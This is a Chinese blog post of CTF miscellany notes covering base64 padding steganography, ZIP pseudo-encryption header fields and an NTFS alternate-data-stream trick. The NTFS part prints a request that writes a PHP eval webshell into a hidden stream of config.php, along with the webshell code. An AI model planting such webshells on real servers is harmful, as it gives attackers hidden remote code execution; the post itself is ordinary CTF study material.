CTF MISC总结(一)

364 阅读5分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第21天,点击查看活动详情

CTF MISC总结


0X1 PS一些细节点

1 NTFS数据流制作隐藏

使用NTFS数据流制作一个永久性后门 - 安全客 - 有思想的安全新媒体 (360.cn)

footer.php?shell=echo ^<?php eval($_REQUEST[‘6ack’]); >> config.php:6ack.php

image.png

image.png

 <?php eval($_REQUEST['6ack']); 
 ​
 //9M310AzgXwhwbsB9qd/o4ic2Yo+iFJIlspQTRHTU6nZhw4fzZgzmJkYk5oRkWt9Rjgx/g2l+KjHhPNamPlHQtduRAtuQ5bYovk3l3MkKw0EbekEKrxCMkBRk+CSXWEEqUebYAxdgII/KCvJCK/v3Ow==
 ​
 //AES密钥为利用此后门传递的一个参数
 ?>

2base64 隐写

 import  base64
 import  re
 a=''
 b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
 with open('flag.txt','rb') as f:
     txt=f.read().splitlines()
 for each in txt:
     wiredword=re.findall('(\w)={1,2}', each)
     if wiredword:
         stegoline=each
         offset=b64chars.index(wiredword[0])
         print (each,base64.b64encode(base64.b64decode(each)),bin(offset))
         if '==' in stegoline:
             a+=bin(offset)[-4:]
         elif '=' in stegoline:
             a += bin(offset)[-2:]
 print (a)
 print([chr(int(a[i:i + 8], 2)) for i in range(0, len(a), 8)])
 ​
 ['G', 'X', 'Y', '{', 'f', 'a', 'z', 'h', 'a', 'z', 'h', 'e', 'n', 'h', 'a', 'o', 't', 'i', 'n', 'g', '}', '\x00']

核心思想是base64隐写将信息写入了被补0的尾部,也就是字符串含有等号的前一个字母。

隐写字符串,'SW50ZW5hYmxlIGluc29tbmllLAp=',p=是用隐藏信息填充后获得的结果

解码并重新编码后的字符串,'SW50ZW5hYmxlIGluc29tbmllLAo=',o=是用0正常填充的后得到的结果

base64填充存在两种情况:

一个等号,填充了2个bit

两个等号,填充了4个bit

首先定位等号前字母在base64码表中的位置,将10进制的位置转为二进制,在一个等号下取后两位,在两个等号下取后四位,将所有取出的bit连接成字符串,并按每8位一组转为ascii码。

需要注意的是,即使解码再编码后的字符串和原字符串相等,也要把最后补充的bit信息(也称padding)提取出来 blog.csdn.net/amber_o0k/a…

0x2 压缩包相关

1 伪加密

winrar修复压缩包,zipCenOp也可

无加密 压缩源文件数据区的全局加密应当为00 00 且压缩源文件目录区的全局方式位标记应当为00 00

假加密 压缩源文件数据区的全局加密应当为00 00 且压缩源文件目录区的全局方式位标记应当为09 00

真加密 压缩源文件数据区的全局加密应当为09 00 且压缩源文件目录区的全局方式位标记应当为09 00

一格zip文件有三个部分组成:

压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志 (详解链接

压缩源文件数据区

50 4B 03 04:这是头文件标记(0x04034b50)

14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(有无加密)

08 00:压缩方式

5A 7E:最后修改文件时间

F7 46:最后修改文件日期

16 B5 80 14:CRC-32校验(1480B516)

19 00 00 00:压缩后尺寸(25)

17 00 00 00:未压缩尺寸(23)

07 00:文件名长度

00 00:扩展记录长度

压缩源文件目录区

50 4B 01 02:目录中文件文件头标记(0x02014b50)

3F 00:压缩使用的 pkware 版本

14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)

08 00:压缩方式

5A 7E:最后修改文件时间

F7 46:最后修改文件日期

16 B5 80 14:CRC-32校验(1480B516)

19 00 00 00:压缩后尺寸(25)

17 00 00 00:未压缩尺寸(23)

07 00:文件名长度

24 00:扩展字段长度

00 00:文件注释长度

00 00:磁盘开始号

00 00:内部文件属性

20 00 00 00:外部文件属性

00 00 00 00:局部头部偏移量

压缩源文件目录结束标志

50 4B 05 06:目录结束标记

00 00:当前磁盘编号

00 00:目录区开始磁盘编号

01 00:本磁盘上纪录总数

01 00:目录区中纪录总数

59 00 00 00:目录区尺寸大小

3E 00 00 00:目录区对第一张磁盘的偏移量

00 00:ZIP 文件注释长度

这是三个头标记,主要看第二个

压缩源文件数据区:50 4B 03 04:这是头文件标记

压缩源文件目录区:

50 4B 01 02:目录中文件文件头标记

3F 00:压缩使用的 pkware 版本 14 00:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)

压缩源文件目录结束标志 :50 4B 05 06:目录结束标记

我们用winhex打开压缩包,搜索504B,点击第二个504B(压缩源文件目录区)

image.png

image.png

将全局方式位标记中的09改为00后,打开压缩包

image.png